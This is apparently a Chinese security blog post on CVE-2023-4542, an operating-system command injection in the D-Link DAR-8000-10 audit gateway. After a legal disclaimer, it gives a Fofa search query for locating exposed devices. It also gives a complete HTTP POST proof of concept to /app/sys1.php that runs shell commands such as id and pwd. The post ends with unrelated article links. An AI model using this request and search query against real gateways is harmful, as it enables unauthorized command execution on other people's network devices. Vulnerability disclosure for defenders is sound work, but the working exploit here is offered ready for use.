D-Link DAR-8000操作系统命令注入漏洞(CVE-2023-4542)

免责声明

仅用于技术交流,目的是向相关安全人员展示漏洞利用方式,以便更好地提高网络安全意识和技术水平。

任何人不得利用该文章进行非法攻击和侵犯他人的隐私和财产权利。一旦发生任何违法行为,责任自负。

该文章仅用于授权测试,任何未经授权的测试均属于非法行为。请在法律许可范围内使用。

作者对使用该文章导致的任何直接或间接损失不承担任何责任。使用此文章的风险由使用者自行承担。

漏洞描述

D-Link DAR-8000是中国友讯(D-Link)公司的上网行为审计网关。

D-Link DAR-8000-10版本存在操作系统命令注入漏洞。

漏洞影响

D-Link DAR-8000-10

漏洞危害

该漏洞源于文件/app/sys1.php的参数id会导致操作系统命令注入。

网络测绘

Fofa: body="DAR-8000-10"


漏洞复现

1. 构造poc

vbnet 复制代码
POST /app/sys1.php HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

cmd=id

2. 发送数据包,执行命令

id命令

pwd命令

相关推荐
roykingw1 小时前
【思想比实现更重要】高并发场景下如何保证接口幂等性
java·web安全·面试
数据库安全4 小时前
《金融电子化》:构建金融韧性运行安全体系:从灾备管理到主动防御新范式
大数据·安全·金融
zorro_z4 小时前
ThinkPHP8学习篇(十):模型(二)
php
会开花的二叉树7 小时前
应用层网络协议深度解析:设计、实战与安全
网络·网络协议·安全
红树林077 小时前
beef-xss网页无法访问
安全·web安全·xss
wanhengidc8 小时前
站群服务器都有什么作用
服务器·安全·智能手机·玩游戏
鲜枣课堂8 小时前
重新安全定义,IMS算网融合加速企业专网AI+场景落地
大数据·人工智能·安全
kali-Myon8 小时前
NewStarCTF2025-Week3-Web
sql·安全·web安全·php·ctf
有谁看见我的剑了?8 小时前
Rocky 9 安装 Elasticsearch分布式集群基于非安全特性
分布式·安全·elasticsearch
晓梦林8 小时前
万字解析upload-labs靶场(基于cyberstrikelab网络安全仿真平台)
安全·web安全